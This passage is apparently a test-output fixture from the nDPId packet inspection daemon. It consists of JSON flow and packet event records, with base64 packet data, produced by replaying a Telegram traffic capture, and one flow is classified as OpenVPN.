+00525{"flow_id":24,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":226,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779617,"pkt_ts_usec":12289,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"KDc3AG3IEBMx8Tl2CABFAAB8d25AADYRn51bbBAEwKgBTQIaWoYAaHWi3EwAKRVlt6y8I22p7aDVl5rCFpxs7YHBZBZLmwquhsHPmVy3OJUPwksj34SDm8YldY3BnFx2JQeujibFeEqmznk9Wf0oInzfFml5xniV\/YyeK3vk71VPabbjLN9EBPJt"} +00524{"flow_id":21,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":227,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779617,"pkt_ts_usec":24303,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"KDc3AG3IEBMx8Tl2CABFAAB8a1xAADYRq7JbbBABwKgBTQIPWoYAaK4I3EwAKRVlt6y8I22p7aDVlxKXtYSpL6tGVUJCxziEWfCslxpWFgl5thrDaDc7ojYiWBSENhNnTmjkSqADZkDqs+OvDQmA6kbCdtIXT+2ySkSALnvsiFHRIhCYm3xTo7bw"} +00471{"flow_id":19,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":228,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779617,"pkt_ts_usec":39998,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"EBMx8Tl2KDc3AG3ICABFAABEq+kAAEARqVfAqAFNW2wIB1qGAgkAMNEE3EwAKRVlt6y8I22p7aDVl\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/7\/\/\/\/qxE4b8QntGQ=="} +00472{"flow_id":20,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":229,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779617,"pkt_ts_usec":40060,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"EBMx8Tl2KDc3AG3ICABFAABEWcYAAEAR93zAqAFNW2wMBVqGAgsAMK7J3EwAKRVlt6y8I22p7aDVl\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/7\/\/\/\/\/iP5DS4Xr7A=="} +00469{"flow_id":21,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":230,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779617,"pkt_ts_usec":40155,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"EBMx8Tl2KDc3AG3ICABFAABEtzYAAEARlhDAqAFNW2wQAVqGAg8AMMDV3EwAKRVlt6y8I22p7aDVl\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/7\/\/\/9HVl8svXS7Ow=="} +00472{"flow_id":22,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":231,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779617,"pkt_ts_usec":40214,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"EBMx8Tl2KDc3AG3ICABFAABE\/dYAAEARU3DAqAFNW2wMAVqGAhgAMAL+3EwAKRVlt6y8I22p7aDVl\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/7\/\/\/\/TGg39ngRh5Q=="} +00470{"flow_id":23,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":232,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779617,"pkt_ts_usec":40250,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"EBMx8Tl2KDc3AG3ICABFAABECZ0AAEARS6PAqAFNW2wICFqGAhoAMLS33EwAKRVlt6y8I22p7aDVl\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/7\/\/\/+vFfzS1uywaQ=="} +00470{"flow_id":24,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":233,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779617,"pkt_ts_usec":40297,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"EBMx8Tl2KDc3AG3ICABFAABEq0sAAEARofjAqAFNW2wQBFqGAhoAMDPP3EwAKRVlt6y8I22p7aDVl\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/7\/\/\/\/bleHhvhswmA=="} +00474{"flow_id":24,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":234,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779617,"pkt_ts_usec":49174,"pkt_caplen":90,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":90,"pkt_l4_len":56,"pkt":"KDc3AG3IEBMx8Tl2CABFAABMd3NAADYRn8hbbBAEwKgBTQIaWoYAOA4k3EwAKRVlt6y8I22p7aDVl\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/xw32SdXC83DXdwAAFcLzcMz7QAA"} +00474{"flow_id":21,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":235,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779617,"pkt_ts_usec":63045,"pkt_caplen":90,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":90,"pkt_l4_len":56,"pkt":"KDc3AG3IEBMx8Tl2CABFAABMa15AADYRq+BbbBABwKgBTQIPWoYAOA4y3EwAKRVlt6y8I22p7aDVl\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/xw32SdXC83DXdwAAFcLzcMz7QAA"} +00503{"flow_id":19,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":236,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779617,"pkt_ts_usec":71664,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":72,"pkt":"KDc3AG3IEBMx8Tl2CABFAABcv61AADMRYntbbAgHwKgBTQIJWoYASFu93EwAKRVlt6y8I22p7aDVl\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/8dyFcBh2rJe6sROG\/EJ7RkAAAAAAAAAAAAA\/\/9XC83DXdwAAA=="} +00502{"flow_id":23,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":237,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779617,"pkt_ts_usec":78167,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":72,"pkt":"KDc3AG3IEBMx8Tl2CABFAABc0nlAADMRT65bbAgIwKgBTQIaWoYASD9w3EwAKRVlt6y8I22p7aDVl\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/8dyFcBh2rJerxX80tbssGkAAAAAAAAAAAAA\/\/9XC83DXdwAAA=="} +00660{"flow_id":19,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":238,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779617,"pkt_ts_usec":146174,"pkt_caplen":234,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":234,"pkt_l4_len":200,"pkt":"KDc3AG3IEBMx8Tl2CABFAADcv7ZAADMRYfJbbAgHwKgBTQIJWoYAyIR53EwAKRVlt6y8I22p7aDVl5d0AH5ObAqwAU8xBlDGVIkxaDwsl\/Tx3dQPtrczrlRgUFPeHc9gzUo17OOu7sbg8dEu3CSp9TK4pNX4iKSt1aPZvLRVY\/KtFRmtWJB9Dq6AleEU\/fGQZvsz95xhxe69E7Va5PPnA7FrjhkrvKx3BpDzkhYhBSqOIKw92MsnjopeCLN+PsD0eBa6OlPemDUc6dK\/4+U\/u98ahW80h7v2XshXT2KL76fQxjavhwr71c\/O"} +00505{"flow_id":20,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":239,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779617,"pkt_ts_usec":163878,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":72,"pkt":"KDc3AG3IEBMx8Tl2CABFAABcHuJAADQR\/khbbAwFwKgBTQILWoYASDmC3EwAKRVlt6y8I22p7aDVl\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/8dyFcBh2rJe\/4j+Q0uF6+wAAAAAAAAAAAAA\/\/9XC83DXdwAAA=="} +00504{"flow_id":22,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":240,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779617,"pkt_ts_usec":165996,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":72,"pkt":"KDc3AG3IEBMx8Tl2CABFAABcKGxAADQR9MJbbAwBwKgBTQIYWoYASI223EwAKRVlt6y8I22p7aDVl\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/8dyFcBh2rJe0xoN\/Z4EYeUAAAAAAAAAAAAA\/\/9XC83DXdwAAA=="} +00529{"flow_id":19,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":241,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779617,"pkt_ts_usec":173654,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"EBMx8Tl2KDc3AG3ICABFAAB8HfUAAEARNxTAqAFNW2wIB1qGAgkAaGBN3EwAKRVlt6y8I22p7aDVl\/xKgqF60rJT3oaqpicxIMnoI3U+wgaLvgpgOwdBNwqB5xCwgQ6Kzerzf\/TGl1GJKfcpRvYZUX\/nAEWtODzC2r7QaC+YBNsA+8SUUO6steuY"} +00528{"flow_id":20,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":242,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779617,"pkt_ts_usec":173773,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"EBMx8Tl2KDc3AG3ICABFAAB8a\/8AAEAR5QvAqAFNW2wMBVqGAgsAaNeN3EwAKRVlt6y8I22p7aDVl5s5VHoewnh2Vsojy\/up5tvpCX3oaEFOxkOqXoPwJ3bO+t6XO4INQPSYS6BlcHjofBzZiEhuzEuv6s3ngqwJRMiouSRPshKutwTCGkvk28Sl"} +00527{"flow_id":21,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":243,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779617,"pkt_ts_usec":173845,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"EBMx8Tl2KDc3AG3ICABFAAB883QAAEARWZrAqAFNW2wQAVqGAg8AaIKz3EwAKRVlt6y8I22p7aDVl32Pc1HHYEYZi03qucZTFlZCNbubeA6q68jFtFI807L3L2Q1Iq\/+vfYqu+JWPFPTntvaZFr70bw2+IJc0TUQfNCX+E3f8ZYzjfyys94dFrWT"} +00527{"flow_id":22,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":244,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779617,"pkt_ts_usec":173924,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"EBMx8Tl2KDc3AG3ICABFAAB8dtkAAEAR2jXAqAFNW2wMAVqGAhgAaBww3EwAKRVlt6y8I22p7aDVl4vdmXzL72TBwedu7KHurKAh2P1dZR4VCu529CPBH17fOUG3BML2yTk2nLmjgNfhYpep7QwAOhc9vcf32ofx\/+LJzcEwwk2H80BEPwH6IV27"} +00528{"flow_id":23,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":245,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779617,"pkt_ts_usec":174002,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"EBMx8Tl2KDc3AG3ICABFAAB8f+UAAEAR1SLAqAFNW2wICFqGAhoAaL863EwAKRVlt6y8I22p7aDVl2Z+eUAsmBtQeyC0OUCkfafRX4V225PAmCB0ZuqiMkYuVH6y\/\/nCzJBhcNkpFmRP0pMKp8O1m88zc2drgTh2WlOw+HbtYOEO6ont+XVyA4Ix"} +00528{"flow_id":24,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":246,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779617,"pkt_ts_usec":174079,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"EBMx8Tl2KDc3AG3ICABFAAB8zjwAAEARfs\/AqAFNW2wQBFqGAhoAaNO63EwAKRVlt6y8I22p7aDVl2tG15m00Z4O5OQSm8Uf2GNj8pAbvopp1wpqnYKwsNZGvZRa0ShBkvgF25\/+Y5mE73LLX4U7zxEu5AntT0mzac2u85OXiFO8LcRPWoBqHH6T"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":247,"source":"telegram.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":1,"flow_first_seen":1588779617174,"flow_last_seen":0,"flow_tot_l4_data_len":88,"flow_min_l4_data_len":88,"flow_max_l4_data_len":88,"flow_avg_l4_data_len":88,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"192.168.1.52","src_port":23174,"dst_port":31480,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00506{"flow_id":25,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":247,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779617,"pkt_ts_usec":174153,"pkt_caplen":122,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":122,"pkt_l4_len":88,"pkt":"8KNaMBgSKDc3AG3ICABFAABsqlYAAEARTFnAqAFNwKgBNFqGevgAWLgQjfykZ0OTWbVGSN3cMHZvNB3RufFF5FIV8MQ0P3KjKgWFEWl4FO4hV\/puQOILS4RjUor87I6iIoOnx\/A9NueumG+cX0HrNbBHt0bLwMXSB9A="} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":248,"source":"telegram.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":1,"flow_first_seen":1588779617174,"flow_last_seen":0,"flow_tot_l4_data_len":88,"flow_min_l4_data_len":88,"flow_max_l4_data_len":88,"flow_avg_l4_data_len":88,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"87.11.205.195","src_port":23174,"dst_port":60723,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00508{"flow_id":26,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":248,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779617,"pkt_ts_usec":174225,"pkt_caplen":122,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":122,"pkt_l4_len":88,"pkt":"EBMx8Tl2KDc3AG3ICABFAABs\/QcAAEARlrXAqAFNVwvNw1qG7TMAWH9So7C\/sNzcuk+cyiR2EyU9Q\/nbaTxTjDBemDeFTsb5lNpyEwlgOlPEUd9m7ay58cjORIuAWP8IcwSg0vb1EIxOrmmqeB4nTaYDWzAgf8R5\/bQ="} +00509{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":248,"source":"telegram.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":1,"flow_first_seen":1588779617174,"flow_last_seen":0,"flow_tot_l4_data_len":88,"flow_min_l4_data_len":88,"flow_max_l4_data_len":88,"flow_avg_l4_data_len":88,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"87.11.205.195","src_port":23174,"dst_port":60723,"l4_proto":"udp","ndpi": {"proto":"OpenVPN","breed":"Acceptable","category":"VPN"}} +00503{"flow_id":24,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":249,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779617,"pkt_ts_usec":203544,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":72,"pkt":"KDc3AG3IEBMx8Tl2CABFAABcd3tAADYRn7BbbBAEwKgBTQIaWoYASL6H3EwAKRVlt6y8I22p7aDVl\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/8dyFcBh2rJe25Xh4b4bMJgAAAAAAAAAAAAA\/\/9XC83DXdwAAA=="} +00659{"flow_id":19,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":250,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779617,"pkt_ts_usec":209923,"pkt_caplen":234,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":234,"pkt_l4_len":200,"pkt":"KDc3AG3IEBMx8Tl2CABFAADcv79AADMRYelbbAgHwKgBTQIJWoYAyO2t3EwAKRVlt6y8I22p7aDVlz0hS6R\/P6+h7iDam6YNZso1HdbCXaIDIoav8iPnn0fy6+kW9pNMmLa42T9nF\/vZoSfsIHIOW25zUxWLLAxS+KjdCoqjtaEnysQ9pWmOqty88YWXptpYLJIsnEoYpLj73ezoCreiNoCQ4U69zJz9X3a0\/UDc7Pi882XCIV9co6HLki9cZNIlEUT1D\/ZlHKeKTlQV8OBLC21Y0mtlViOwDpz2GB\/I0aD0+8OrgNpr858X"} +00503{"flow_id":21,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":251,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779617,"pkt_ts_usec":217072,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":72,"pkt":"KDc3AG3IEBMx8Tl2CABFAABca2FAADYRq81bbBABwKgBTQIPWoYASEuO3EwAKRVlt6y8I22p7aDVl\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/8dyFcBh2rJeR1ZfLL10uzsAAAAAAAAAAAAA\/\/9XC83DXdwAAA=="} +00504{"flow_id":25,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":255,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779617,"pkt_ts_usec":350710,"pkt_caplen":122,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":122,"pkt_l4_len":88,"pkt":"KDc3AG3I8KNaMBgSCABFAABsUAUAAEARpqrAqAE0wKgBTXr4WoYAWLDM6Td5ePjQrnTyke2EPHu3iQJhxLIf06esu8RwrHmFIT7cHf5ycIamk2yhxwjAfE09exZIgAEDzMDiso7KFMuIe8fjwzyyS3MKiG+Cd3eNuy0="} +00529{"flow_id":23,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":258,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779617,"pkt_ts_usec":381569,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"KDc3AG3IEBMx8Tl2CABFAAB80plAADMRT25bbAgIwKgBTQIaWoYAaPDj3EwAKRVlt6y8I22p7aDVl+MX7HtGUYbwrQqCr4nYVPeDmZbZ2Bf+vN8udIrDAEL8It1Wi\/+ue1QTjqrg\/9qVehBOkj4\/T+fdlhHLBZwboP8C240mh3cEijKopP7xMWpM"} +00528{"flow_id":20,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":261,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779617,"pkt_ts_usec":472080,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"KDc3AG3IEBMx8Tl2CABFAAB8HxtAADQR\/e9bbAwFwKgBTQILWoYAaHvv3EwAKRVlt6y8I22p7aDVl0UqJlE1OabPQTf2e0N80C8IyLi4FSthq7K\/CKRgPYLvFR3sah0B1uHAyn687xtiZVkMkP5dayfPZm+vj1DRlUUDewwWiFZHmp+GGswDrW2N"} +00528{"flow_id":22,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":262,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779617,"pkt_ts_usec":491322,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"KDc3AG3IEBMx8Tl2CABFAAB8KJ5AADQR9HBbbAwBwKgBTQIYWoYAaM8Z3EwAKRVlt6y8I22p7aDVlw7pozkX8PRV27QTDvgLl\/jawWiOrIHky37V4Y2MkH4S8LDWtKdz8Oj7gko4EANqBHi4pKpWaNOhyyNr0cW4ouLjfVXS\/MsTKKotUTaUzran"} +00527{"flow_id":24,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":263,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779617,"pkt_ts_usec":512087,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"KDc3AG3IEBMx8Tl2CABFAAB8d59AADYRn2xbbBAEwKgBTQIaWoYAaK5b3EwAKRVlt6y8I22p7aDVl2M7tZku94NihPZzTPDPHOWDg2SL2IdMTbV+ifiPSEum1EGLEILUF03Silk0M4dCplYXXkqAwfLcaT8czhBSW7JPk3FP07Zjf1VrX\/EhA7PS"} +00529{"flow_id":21,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":265,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779617,"pkt_ts_usec":525587,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"KDc3AG3IEBMx8Tl2CABFAAB8a3tAADYRq5NbbBABwKgBTQIPWoYAaANH3EwAKRVlt6y8I22p7aDVlwZ\/lr0pb5\/8OHWmjWpVGAC6aWnFO9YZe0AabMk9tAYNdCKm7Lc0YZSIQXd727arotbjGcPuNpZm7jwb0JEwc84e\/kUM82vy4cMNF9kPKTWE"} +00471{"flow_id":20,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":267,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779617,"pkt_ts_usec":540902,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"EBMx8Tl2KDc3AG3ICABFAABEGswAAEARNnfAqAFNW2wMBVqGAgsAMDCY3EwAKRVlt6y8I22p7aDVl\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/7\/\/\/943nQWDxq3YQ=="} +00472{"flow_id":21,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":268,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779617,"pkt_ts_usec":540927,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"EBMx8Tl2KDc3AG3ICABFAABEHCcAAEARMSDAqAFNW2wQAVqGAg8AMEmM3EwAKRVlt6y8I22p7aDVl\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/7\/\/\/\/TUthfaCKCpw=="} +00472{"flow_id":22,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":269,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779617,"pkt_ts_usec":541023,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"EBMx8Tl2KDc3AG3ICABFAABETBQAAEARBTPAqAFNW2wMAVqGAhgAMAJx3EwAKRVlt6y8I22p7aDVl\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/7\/\/\/8PlXSk\/DdhHQ=="} +00472{"flow_id":23,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":270,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779617,"pkt_ts_usec":541026,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"EBMx8Tl2KDc3AG3ICABFAABE99IAAEARXW3AqAFNW2wICFqGAhoAMM8r3EwAKRVlt6y8I22p7aDVl\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/7\/\/\/\/QKrUqs6nfyw=="} +00471{"flow_id":24,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":271,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779617,"pkt_ts_usec":541092,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"EBMx8Tl2KDc3AG3ICABFAABE+FgAAEARVOvAqAFNW2wQBFqGAhoAMBPZ3EwAKRVlt6y8I22p7aDVl\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/7\/\/\/8nPeBPB4O9EQ=="} +00503{"flow_id":23,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":274,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779617,"pkt_ts_usec":578568,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":72,"pkt":"KDc3AG3IEBMx8Tl2CABFAABc0qlAADMRT35bbAgIwKgBTQIaWoYASFnk3EwAKRVlt6y8I22p7aDVl\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/8dyFcBh2rJe0Cq1KrOp38sAAAAAAAAAAAAA\/\/9XC83DXdwAAA=="} +00503{"flow_id":24,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":278,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779617,"pkt_ts_usec":703841,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":72,"pkt":"KDc3AG3IEBMx8Tl2CABFAABcd7RAADYRn3dbbBAEwKgBTQIaWoYASJ6R3EwAKRVlt6y8I22p7aDVl\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/8dyFcBh2rJeJz3gTweDvREAAAAAAAAAAAAA\/\/9XC83DXdwAAA=="} 